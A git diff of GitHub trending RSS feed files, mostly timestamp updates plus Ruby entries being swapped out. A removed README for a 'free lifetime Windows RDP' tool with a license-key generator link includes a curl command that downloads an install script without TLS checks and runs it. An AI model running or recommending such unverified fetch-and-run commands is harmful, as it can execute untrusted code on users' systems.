src="https://raw.githubusercontent.com/SomaLogic/SomaPlotr/main/man/figures/README-theme-soma-1.png" style="display: block; margin: auto auto auto 0;"> <p>For a full list of available color scales and themes, see <code>?SomaPlotr::theme_soma</code>.</p> <hr> <h2>MIT LICENSE</h2> <ul> <li>See: <ul> <li><a href="https://github.com/SomaLogic/SomaPlotr/raw/main/LICENSE.md">LICENSE</a></li> </ul> </li> <li>The MIT license: <ul> <li><a href="https://choosealicense.com/licenses/mit/">https://choosealicense.com/licenses/mit/</a></li> <li><a href="https://www.tldrlegal.com/license/mit-license">https://www.tldrlegal.com/license/mit-license/</a></li> </ul> </li> <li>Further: <ul> <li>“SomaPlotr” and “SomaLogic” are trademarks owned by SomaLogic Operating Co., Inc.&nbsp;No license is hereby granted to these trademarks other than for purposes of identifying the origin or source of this Software.</li> </ul> </li> </ul> \ No newline at end of file diff --git a/racket/daily/index.xml b/racket/daily/index.xml index 704018a9742..46f72e336f5 100644 --- a/racket/daily/index.xml +++ b/racket/daily/index.xml @@ -1,7 +1,7 @@ GitHub Racket Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:47Z + 2023-09-20T01:39:22Z Daily Trending of Racket in GitHub \ No newline at end of file diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml index 301e18531de..048e6c99e43 100644 --- a/ragel/daily/index.xml +++ b/ragel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ragel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:48Z + 2023-09-20T01:39:23Z Daily Trending of Ragel in GitHub \ No newline at end of file diff --git a/raku/daily/index.xml b/raku/daily/index.xml index 7b7bc6a1e85..3bab8742f3e 100644 --- a/raku/daily/index.xml +++ b/raku/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raku Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:49Z + 2023-09-20T01:39:20Z Daily Trending of Raku in GitHub \ No newline at end of file diff --git a/raml/daily/index.xml b/raml/daily/index.xml index 9916383e28d..8c29905f068 100644 --- a/raml/daily/index.xml +++ b/raml/daily/index.xml @@ -1,7 +1,7 @@ GitHub RAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:49Z + 2023-09-20T01:39:21Z Daily Trending of RAML in GitHub \ No newline at end of file diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml index 357deeeb9a4..87b1c7d73a3 100644 --- a/rascal/daily/index.xml +++ b/rascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:52Z + 2023-09-20T01:39:24Z Daily Trending of Rascal in GitHub \ No newline at end of file diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml index 92e7553cd79..3d6b7ed69a1 100644 --- a/raw-token-data/daily/index.xml +++ b/raw-token-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Raw token data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:52Z + 2023-09-20T01:39:26Z Daily Trending of Raw token data in GitHub \ No newline at end of file diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml index c834f428026..3fff59c9680 100644 --- a/rdoc/daily/index.xml +++ b/rdoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:53Z + 2023-09-20T01:39:26Z Daily Trending of RDoc in GitHub \ No newline at end of file diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml index 6e6f70e29bb..9b2ff3446a4 100644 --- a/readline-config/daily/index.xml +++ b/readline-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Readline Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:55Z + 2023-09-20T01:39:28Z Daily Trending of Readline Config in GitHub \ No newline at end of file diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml index 404bb590826..eafc6f92c03 100644 --- a/realbasic/daily/index.xml +++ b/realbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub REALbasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:57Z + 2023-09-20T01:39:28Z Daily Trending of REALbasic in GitHub \ No newline at end of file diff --git a/reason/daily/index.xml b/reason/daily/index.xml index fa93f65bd14..076a0139d3f 100644 --- a/reason/daily/index.xml +++ b/reason/daily/index.xml @@ -1,7 +1,7 @@ GitHub Reason Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:56Z + 2023-09-20T01:39:29Z Daily Trending of Reason in GitHub \ No newline at end of file diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml index d07ef8e8f0a..f58672c2260 100644 --- a/rebol/daily/index.xml +++ b/rebol/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rebol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:00Z + 2023-09-20T01:39:31Z Daily Trending of Rebol in GitHub \ No newline at end of file diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml index 0024ae25277..dc48b9bfe8a 100644 --- a/record-jar/daily/index.xml +++ b/record-jar/daily/index.xml @@ -1,7 +1,7 @@ GitHub Record Jar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:01Z + 2023-09-20T01:39:32Z Daily Trending of Record Jar in GitHub \ No newline at end of file diff --git a/red/daily/index.xml b/red/daily/index.xml index dd560db2184..0230e7b00c1 100644 --- a/red/daily/index.xml +++ b/red/daily/index.xml @@ -1,7 +1,7 @@ GitHub Red Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:59Z + 2023-09-20T01:39:34Z Daily Trending of Red in GitHub \ No newline at end of file diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml index a505a35f89b..3c7a94bea01 100644 --- a/redcode/daily/index.xml +++ b/redcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redcode Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:59Z + 2023-09-20T01:39:33Z Daily Trending of Redcode in GitHub \ No newline at end of file diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml index 54cc5f56cc2..571b7f8434a 100644 --- a/redirect-rules/daily/index.xml +++ b/redirect-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Redirect Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:03Z + 2023-09-20T01:39:36Z Daily Trending of Redirect Rules in GitHub \ No newline at end of file diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml index 5d60281cef1..2892a540c27 100644 --- a/regular-expression/daily/index.xml +++ b/regular-expression/daily/index.xml @@ -1,7 +1,7 @@ GitHub Regular Expression Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:05Z + 2023-09-20T01:39:38Z Daily Trending of Regular Expression in GitHub \ No newline at end of file diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml index 0c82f41c25b..067396aacb1 100644 --- a/ren'py/daily/index.xml +++ b/ren'py/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ren'Py Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:04Z + 2023-09-20T01:39:37Z Daily Trending of Ren'Py in GitHub \ No newline at end of file diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml index 2e911d4338f..5703d340613 100644 --- a/renderscript/daily/index.xml +++ b/renderscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub RenderScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:05Z + 2023-09-20T01:39:35Z Daily Trending of RenderScript in GitHub \ No newline at end of file diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml index eb2ee9c4ae0..03e6ee0fac6 100644 --- a/rescript/daily/index.xml +++ b/rescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ReScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:07Z + 2023-09-20T01:39:40Z Daily Trending of ReScript in GitHub \ No newline at end of file diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml index 6426cea2ed3..67206e250ab 100644 --- a/restructuredtext/daily/index.xml +++ b/restructuredtext/daily/index.xml @@ -1,7 +1,7 @@ GitHub reStructuredText Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:09Z + 2023-09-20T01:39:42Z Daily Trending of reStructuredText in GitHub \ No newline at end of file diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml index 938c2913cb6..f176a0a4ce8 100644 --- a/rexx/daily/index.xml +++ b/rexx/daily/index.xml @@ -1,7 +1,7 @@ GitHub REXX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:07Z + 2023-09-20T01:39:41Z Daily Trending of REXX in GitHub \ No newline at end of file diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml index c615ba35613..3d2fa2c9940 100644 --- a/rich-text-format/daily/index.xml +++ b/rich-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rich Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:14Z + 2023-09-20T01:39:46Z Daily Trending of Rich Text Format in GitHub \ No newline at end of file diff --git a/ring/daily/index.xml b/ring/daily/index.xml index ec374ec21c4..bf48ed92614 100644 --- a/ring/daily/index.xml +++ b/ring/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ring Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:12Z + 2023-09-20T01:39:45Z Daily Trending of Ring in GitHub \ No newline at end of file diff --git a/riot/daily/index.xml b/riot/daily/index.xml index f989b279923..b768287f3ff 100644 --- a/riot/daily/index.xml +++ b/riot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Riot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:11Z + 2023-09-20T01:39:44Z Daily Trending of Riot in GitHub \ No newline at end of file diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml index 444e951d2c6..143f5cf3b72 100644 --- a/rmarkdown/daily/index.xml +++ b/rmarkdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub RMarkdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:11Z + 2023-09-20T01:39:43Z Daily Trending of RMarkdown in GitHub \ No newline at end of file diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml index 3b7b0037930..a9345a434cb 100644 --- a/robotframework/daily/index.xml +++ b/robotframework/daily/index.xml @@ -1,7 +1,7 @@ GitHub RobotFramework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:17Z + 2023-09-20T01:39:49Z Daily Trending of RobotFramework in GitHub \ No newline at end of file diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml index 91edbf5cfc0..b89f60dcd8c 100644 --- a/robots.txt/daily/index.xml +++ b/robots.txt/daily/index.xml @@ -1,7 +1,7 @@ GitHub robots.txt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:15Z + 2023-09-20T01:39:47Z Daily Trending of robots.txt in GitHub \ No newline at end of file diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml index a741091aaa0..8d6d0908a08 100644 --- a/roff-manpage/daily/index.xml +++ b/roff-manpage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Manpage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:16Z + 2023-09-20T01:39:48Z Daily Trending of Roff Manpage in GitHub \ No newline at end of file diff --git a/roff/daily/index.xml b/roff/daily/index.xml index b8c22d7334b..29cd92404f1 100644 --- a/roff/daily/index.xml +++ b/roff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Roff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:19Z + 2023-09-20T01:39:51Z Daily Trending of Roff in GitHub \ No newline at end of file diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml index 299f98d5131..973924540f4 100644 --- a/rouge/daily/index.xml +++ b/rouge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Rouge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:23Z + 2023-09-20T01:39:53Z Daily Trending of Rouge in GitHub \ No newline at end of file diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml index 806b608cc5d..ec949a2c41b 100644 --- a/rpc/daily/index.xml +++ b/rpc/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:21Z + 2023-09-20T01:39:54Z Daily Trending of RPC in GitHub \ No newline at end of file diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml index e4988c0a8ee..dcce40c9220 100644 --- a/rpgle/daily/index.xml +++ b/rpgle/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPGLE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:22Z + 2023-09-20T01:39:55Z Daily Trending of RPGLE in GitHub \ No newline at end of file diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml index 9465ddaed18..08a83ff45be 100644 --- a/rpm-spec/daily/index.xml +++ b/rpm-spec/daily/index.xml @@ -1,7 +1,7 @@ GitHub RPM Spec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:24Z + 2023-09-20T01:39:57Z Daily Trending of RPM Spec in GitHub \ No newline at end of file diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml index 8d4fe3af030..08b9ac8253f 100644 --- a/ruby/daily/index.xml +++ b/ruby/daily/index.xml @@ -1,28 +1,14 @@ GitHub Ruby Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:38:31Z + 2023-09-20T01:40:12Z Daily Trending of Ruby in GitHub - rails/activemodel-serializers-xml - 2023-09-19T01:38:31Z - tag:github.com,2023-09-19:/rails/activemodel-serializers-xml - - <p></p><hr><h1>ActiveModel::Serializers::Xml</h1> <p>This gem provides XML serialization for your Active Model objects and Active Record models.</p> <h2>Installation</h2> <p>Add this line to your application's Gemfile:</p> <pre><code class="language-ruby">gem 'activemodel-serializers-xml' </code></pre> <p>And then execute:</p> <pre><code>$ bundle </code></pre> <p>Or install it yourself as:</p> <pre><code>$ gem install activemodel-serializers-xml </code></pre> <h2>Usage</h2> <h3>ActiveModel::Serializers::Xml</h3> <p>To use the <code>ActiveModel::Serializers::Xml</code> you only need to change from <code>ActiveModel::Serialization</code> to <code>ActiveModel::Serializers::Xml</code>.</p> <pre><code class="language-ruby">class Person include ActiveModel::Serializers::Xml attr_accessor :name def attributes {'name' =&gt; nil} end end </code></pre> <p>With the <code>to_xml</code> you have an XML representing the model.</p> <pre><code class="language-ruby">person = Person.new person.to_xml # =&gt; "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;person&gt;\n &lt;name nil=\"true\"/&gt;\n&lt;/person&gt;\n" person.name = "Bob" person.to_xml # =&gt; "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;person&gt;\n &lt;name&gt;Bob&lt;/name&gt;\n&lt;/person&gt;\n" </code></pre> <p>From an XML string you define the attributes of the model. You need to have the <code>attributes=</code> method defined on your class:</p> <pre><code class="language-ruby">class Person include ActiveModel::Serializers::Xml attr_accessor :name def attributes=(hash) hash.each do |key, value| send("#{key}=", value) end end def attributes {'name' =&gt; nil} end end </code></pre> <p>Now it is possible to create an instance of person and set the attributes using <code>from_xml</code>.</p> <pre><code class="language-ruby">xml = { name: 'Bob' }.to_xml person = Person.new person.from_xml(xml) # =&gt; #&lt;Person:0x00000100c773f0 @name="Bob"&gt; person.name # =&gt; "Bob" </code></pre> <h3>ActiveRecord::XmlSerializer</h3> <p>This gem also provides serialization to XML for Active Record.</p> <p>Please see ActiveRecord::Serialization#to_xml for more information.</p> <h2>Contributing to ActiveModel::Serializers::Xml</h2> <p>ActiveModel::Serializers::Xml is work of many contributors. You're encouraged to submit pull requests, propose features and discuss issues.</p> <p>See <a href="https://raw.githubusercontent.com/rails/activemodel-serializers-xml/master/CONTRIBUTING.md">CONTRIBUTING</a></p> - - - OnlineHacKing/PWD-WindowsRDP - 2023-09-19T01:38:31Z - tag:github.com,2023-09-19:/OnlineHacKing/PWD-WindowsRDP - - <p>PWD - Cloud Windows RDP Lifetime Free</p><hr><h1>Setup Tutorial : <a href="https://www.onlinehacking.org/pwd-windows-rdp-for-lifetime-free/">https://www.onlinehacking.org/pwd-windows-rdp-for-lifetime-free/</a></h1> <p>&nbsp;</p> <p>&nbsp;</p> <h1 align="center"> Cloud Windows RDP - OnlineHacKing</h1> <p align="center"> Free Cloud Windows Desktop RDP </p> <p align="center"> <a href="https://www.onlinehacking.org/pwd-windows-rdp-for-lifetime-free/"><img title="Made in INDIA" src="https://img.shields.io/badge/MADE%20IN-INDIA-SCRIPT?colorA=%23ff8100&amp;colorB=%23017e40&amp;colorC=%23ff0000&amp;style=for-the-badge"></a> </p> <p align="center"> <img src="https://img.shields.io/badge/Version-2.6-blue?style=for-the-badge&amp;color=blue"> <img src="https://img.shields.io/github/stars/OnlineHacKing/PWD-WindowsRDP?style=for-the-badge&amp;color=magenta"> <img src="https://img.shields.io/github/forks/OnlineHacKing/PWD-WindowsRDP?color=cyan&amp;style=for-the-badge&amp;color=purple"> <img src="https://img.shields.io/github/issues/OnlineHacKing/PWD-WindowsRDP?color=red&amp;style=for-the-badge"> <img src="https://img.shields.io/github/license/OnlineHacKing/PWD-WindowsRDP?style=for-the-badge&amp;color=blue"> <br> <img src="https://img.shields.io/badge/Author-SUMAN-green?style=flat-square"> <img src="https://img.shields.io/badge/Open%20Source-No-orange?style=flat-square"> <img src="https://img.shields.io/badge/Maintained-Yes-cyan?style=flat-square"> <img src="https://img.shields.io/badge/Written%20In-Shell-blue?style=flat-square"> </p> <p></p> <p align="center"> </p> <br> <h2>ABOUT TOOL :</h2> <p>Cloud Windows RDP is a Free Remote Desktop Tool Wich is Used to Free Linux Desktop Of You. This tool works on both All Systems Browser.</p> <br> <h2>✅ How To Using Full Totoral :</h2> <h4>Link :- <a href="https://wwu.onlinehacking.org/pwd-windows-rdp-for-lifetime-free/">https://wwu.onlinehacking.org/pwd-windows-rdp-for-lifetime-free/</a></h4> <h3></h3> <br> <h2>🔑 Generator License Key [FREE] :</h2> <h4>Link :- <a href="https://wwu.onlinehacking.org/pwd-windows-key/">https://wwu.onlinehacking.org/pwd-windows-key/</a></h4> <br> <h2>✅ OPEN GOOGLE CONSOLE TERMINAL :</h2> <h1><p align="center"> <a href="https://shell.cloud.google.com/"><img src="https://user-images.githubusercontent.com/27065646/92304704-8d146d80-ef80-11ea-8c29-0deaabb1c702.png" alt="Open in Cloud Shell"></a></p></h1> <br> <h2>👩🏻‍💻 INSTALL ANY ONLINE TERMINAL :</h2> <br> <pre><code class="language-bash">curl -sLkO https://github.com/OnlineHacKing/PWD-WindowsRDP/raw/main/install ; chmod +x install ; ./install </code></pre> <br> <h2>📹 WATCH VIDEO</h2> <p align="center"> </p> <center> <a href="https://onlinehacking.org/v/yzu52g" target="_blank" rel="noopener"><img class="wp-image-1939 aligncenter" src="https://www.onlinehacking.in/wp-content/uploads/2021/12/play-.webp" alt="rdp" width="478" height="310"></a> </center> <p></p> <h2>📸 SCREENSHOTS [Windows]</h2> <p><img src="https://raw.githubusercontent.com/OnlineHacKing/CloudWindows2023/main/Suman/suman.png" alt="image"></p> <h1>IF IT GOT ANY ERROR, CLOSE PWD SESSION AND START AGAIN</h1> <h2>👨🏻‍💻 CONNECT WITH US :</h2> <p><a href="https://github.com/OnlineHacKing"><img title="Github" src="https://img.shields.io/badge/Online-hacking-brightgreen?style=for-the-badge&amp;logo=github"></a> <a href="https://www.instagram.com/suman333mondal/"><img src="https://img.shields.io/badge/INSTAGRAM-FOLLOW-red?style=for-the-badge&amp;logo=instagram" alt="Instagram"></a> <a href="https://www.onlinehacking.org"><img src="https://img.shields.io/badge/WEBSITE-VISIT-yellow?style=for-the-badge&amp;logo=blogger" alt="Instagram"></a> <a href="https://www.linkedin.com/in/sumam333mondal/"><img src="https://img.shields.io/badge/LINKEDIN-CONNECT-red?style=for-the-badge&amp;logo=linkedin" alt="Instagram"></a> <a href="https://fb.com/onlinehacking"><img src="https://img.shields.io/badge/FACEBOOK-LIKE-red?style=for-the-badge&amp;logo=facebook" alt="Instagram"></a> <a href="https://telegram.dog/OnlineHacking"><img src="https://img.shields.io/badge/TELEGRAM-CHANNEL-red?style=for-the-badge&amp;logo=telegram" alt="Instagram"></a> <a href="https://www.youtube.com/onlinehacking2"><img title="YouTube" src="https://img.shields.io/badge/YouTube-Online Hacking-red?style=for-the-badge&amp;logo=Youtube"></a></p> <p style="box-sizing: border-box; color: #24292e; font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Helvetica, Arial, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;; font-size: 16px; margin-bottom: 16px; margin-top: 0px; text-align: center;"><a href="https://github.com/OnlineHacking/" style="background-color: initial; box-sizing: border-box; text-decoration-line: none;"><img alt="GitHub" height="110" src="https://user-images.githubusercontent.com/64035221/96459220-834c7e00-123f-11eb-8417-534058a7ba62.png" style="background-color: var(--color-bg-primary); border-style: none; box-sizing: initial; max-width: 100%;" width="110">&nbsp;</a><a href="https://www.youtube.com/onlinehacking2" rel="nofollow" style="background-color: initial; box-sizing: border-box; text-decoration-line: none;"><img alt="YouTube" height="110" src="https://user-images.githubusercontent.com/64035221/96456596-4f238e00-123c-11eb-821e-85e9aaa3faec.png" style="background-color: var(--color-bg-primary); border-style: none; box-sizing: initial; max-width: 100%;" width="110">&nbsp;</a><a href="https://telegram.dog/OnlineHacking" rel="nofollow" style="background-color: initial; box-sizing: border-box; text-decoration-line: none;"><img alt="Telegram" height="80" src="https://user-images.githubusercontent.com/64035221/96461243-c576bf00-1241-11eb-8fdf-139b4859bfb0.png" style="background-color: var(--color-bg-primary); border-style: none; box-sizing: initial; max-width: 100%;" width="80">&nbsp;</a><a href="https://www.instagram.com/suman333mondal/" rel="nofollow" style="background-color: initial; box-sizing: border-box; text-decoration-line: none;"><img alt="Instagram" height="90" src="https://user-images.githubusercontent.com/64035221/96461629-3d44e980-1242-11eb-8691-46dd14355085.png" style="background-color: var(--color-bg-primary); border-style: none; box-sizing: initial; max-width: 100%;" width="90"></a></p> <pre><code> Inspired By github.com/OnlineHacking </code></pre> - - - julianmclean/SiriProxy-LWRF-orig - 2023-09-19T01:38:31Z - tag:github.com,2023-09-19:/julianmclean/SiriProxy-LWRF-orig - - <p></p><hr><h1>SiriProxy-LWRF</h1> + voxpupuli/puppet-nodejs + 2023-09-20T01:40:12Z + tag:github.com,2023-09-20:/voxpupuli/puppet-nodejs + + <p>Puppet module to install nodejs and global npm packages</p><hr><h1>Node.js module for Puppet</h1> <p><a href="https://travis-ci.org/voxpupuli/puppet-nodejs"><img src="https://travis-ci.org/voxpupuli/puppet-nodejs.png?branch=master" alt="Build Status"></a> <a href="https://coveralls.io/github/voxpupuli/puppet-nodejs"><img src="https://coveralls.io/repos/github/voxpupuli/puppet-nodejs/badge.svg?branch=master" alt="Code Coverage"></a> <a href="https://forge.puppetlabs.com/puppet/nodejs"><img src="https://img.shields.io/puppetforge/v/puppet/nodejs.svg?sanitize=true" alt="Puppet Forge"></a> <a href="https://forge.puppetlabs.com/puppet/nodejs"><img src="https://img.shields.io/puppetforge/dt/puppet/nodejs.svg?sanitize=true" alt="Puppet Forge - downloads"></a> <a href="https://forge.puppetlabs.com/puppet/nodejs"><img src="https://img.shields.io/puppetforge/e/puppet/nodejs.svg?sanitize=true" alt="Puppet Forge - endorsement"></a> <a href="https://forge.puppetlabs.com/puppet/nodejs"><img src="https://img.shields.io/puppetforge/f/puppet/nodejs.svg?sanitize=true" alt="Puppet Forge - scores"></a></p> <h4>Table of Contents</h4> <ol> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#overview">Overview</a></li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#setup">Setup - The basics of getting started with nodejs</a> <ul> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#beginning-with-nodejs">Beginning with nodejs - Installation</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#usage">Usage</a></li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#npm-packages">Npm packages</a></li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#parameters">Parameters</a></li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#limitations">Limitations - OS compatibility, etc.</a> <ul> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#module-dependencies">Module dependencies</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/voxpupuli/puppet-nodejs/master/#development">Development</a></li> </ol> <h2>Overview</h2> <p>The nodejs module installs the Node.js package, (global) npm package provider and configures global npm configuration settings. A defined type nodejs::npm is used for the local installation of npm packages.</p> <p>By default this module installs packages from the <a href="https://nodesource.com">NodeSource</a> repository on Debian and RedHat platforms. The NodeSource Node.js package includes the npm binary, which makes a separate npm package unnecessary.</p> <p>On SUSE, ArchLinux, FreeBSD, OpenBSD and Gentoo, native packages are used. On Darwin, the MacPorts package is used. On Windows the packages are installed via Chocolatey.</p> <h2>Setup</h2> <h3>What nodejs affects</h3> <ul> <li>the Node.js package</li> <li>the npm package (if it exists as a separate package)</li> <li>the global npmrc file ($PREFIX/etc/npmrc)</li> <li>globally installed npm packages</li> <li>local npm packages installed in user-specified directories</li> </ul> <h3>Beginning with nodejs</h3> <p>To install Node.js and npm (using the NodeSource repository if possible):</p> <pre><code class="language-puppet">class { 'nodejs': } </code></pre> <p>The default version installed is currently <code>12.x</code>.</p> <p>If you wish to install a Node.js 13.x release from the NodeSource repository rather than 12.x on Debian/RHEL platforms:</p> <pre><code class="language-puppet">class { 'nodejs': repo_url_suffix =&gt; '13.x', } </code></pre> <p>See the <code>repo_url_suffix</code> parameter entry below for possible values.</p> <h2>Usage</h2> <p>When a separate npm package exists (natively or via EPEL) the Node.js development package also needs to be installed as it is a dependency for npm.</p> <p>Install Node.js and npm using the native packages provided by the distribution:</p> <pre><code class="language-puppet">class { '::nodejs': manage_package_repo =&gt; false, nodejs_dev_package_ensure =&gt; 'present', npm_package_ensure =&gt; 'present', } </code></pre> <p>Install Node.js and npm using the packages from EPEL:</p> <pre><code class="language-puppet">class { '::nodejs': nodejs_dev_package_ensure =&gt; 'present', npm_package_ensure =&gt; 'present', repo_class =&gt; '::epel', } </code></pre> <h3>Upgrades</h3> <p>The parameter <code>nodejs_package_ensure</code> defaults to <code>present</code>. Changing the <code>repo_url_suffix</code> will not result in a new version being installed. Changing the <code>nodejs_package_ensure</code> parameter should provide the desired effect.</p> <p>For example:</p> <pre><code class="language-puppet"># Upgrade from nodejs 5.x to 6.x class { 'nodejs': repo_url_suffix =&gt; '6.x', nodejs_package_ensure =&gt; '6.12.2', } </code></pre> <h3>Forcing the installation of NodeSource packages over native packages</h3> <p>When the native package version and NodeSource version are the same, you may need to use <code>repo_pin</code> or <code>repo_priority</code> (depending on your operating system). This ensures that the version in the NodeSource repository takes precedence when Puppet invokes Apt/Yum.</p> <h3>npm packages</h3> <p>Two types of npm packages are supported:</p> <ul> <li>npm global packages are supported via the <code>npm</code> provider for the puppet package type.</li> <li>npm local packages are supported via the Puppet defined type nodejs::npm.</li> </ul> <p>For more information regarding global vs local installation see the <a href="https://nodejs.org/en/blog/npm/npm-1-0-global-vs-local-installation/">nodejs blog</a></p> <h3>npm global packages</h3> <p>The npm package provider is an extension of the Puppet package type which supports versionable and upgradeable. The package provider only handles global installation:</p> <p>For example:</p> <pre><code class="language-puppet">package { 'express': ensure =&gt; 'present', provider =&gt; 'npm', } package { 'mime': ensure =&gt; '1.2.4', provider =&gt; 'npm', } </code></pre> <h3>npm local packages</h3> <p>nodejs::npm is used for the local installation of npm packages. It attempts to support all of the <code>npm install &lt;package&gt;</code> combinations shown in the <a href="https://docs.npmjs.com/cli/install">npm install docs</a> except version ranges. The title simply must be a unique, arbitrary value.</p> <ul> <li>If using packages directly off the npm registry, the package parameter is the name of the package as published on the npm registry.</li> <li>If using scopes, the package parameter needs to be specified as '@scope_name/package_name'.</li> <li>If using a local tarball path, remote tarball URL, local folder, git remote URL or GitHubUser/GitRepo as the source of the package, this location needs to be specified as the source parameter and the package parameter just needs to be a unique, descriptive name for the package that is being installed.</li> <li>If using tags, the tag can be specified with the ensure parameter, and the package parameter needs to be match the name of the package in the npm registry.</li> <li>Package versions are specified with the ensure parameter, which defaults to <code>present</code>.</li> <li>Install options and uninstall options are also supported, and need to be specified as an array.</li> <li>The user parameter is provided should you wish to run npm install or npm rm as a specific user.</li> <li>If you want to use a package.json supplied by a module to install dependencies (e.g. if you have a NodeJS server app), set the parameter use_package_json to true. The package name is then only used for the resource name. source parameter is ignored.</li> </ul> <p>nodejs::npm parameters:</p> <ul> <li>ensure: present (default), absent, latest, tag or version number.</li> <li>source: package source (defaults to a reserved value 'registry')</li> <li>target: where to install the package</li> <li>install_options: option flags invoked during installation such as --link (optional).</li> <li>uninstall_options: option flags invoked during removal (optional).</li> <li>npm_path: defaults to the value listed in <code>nodejs::params</code></li> <li>user: defaults to undef</li> 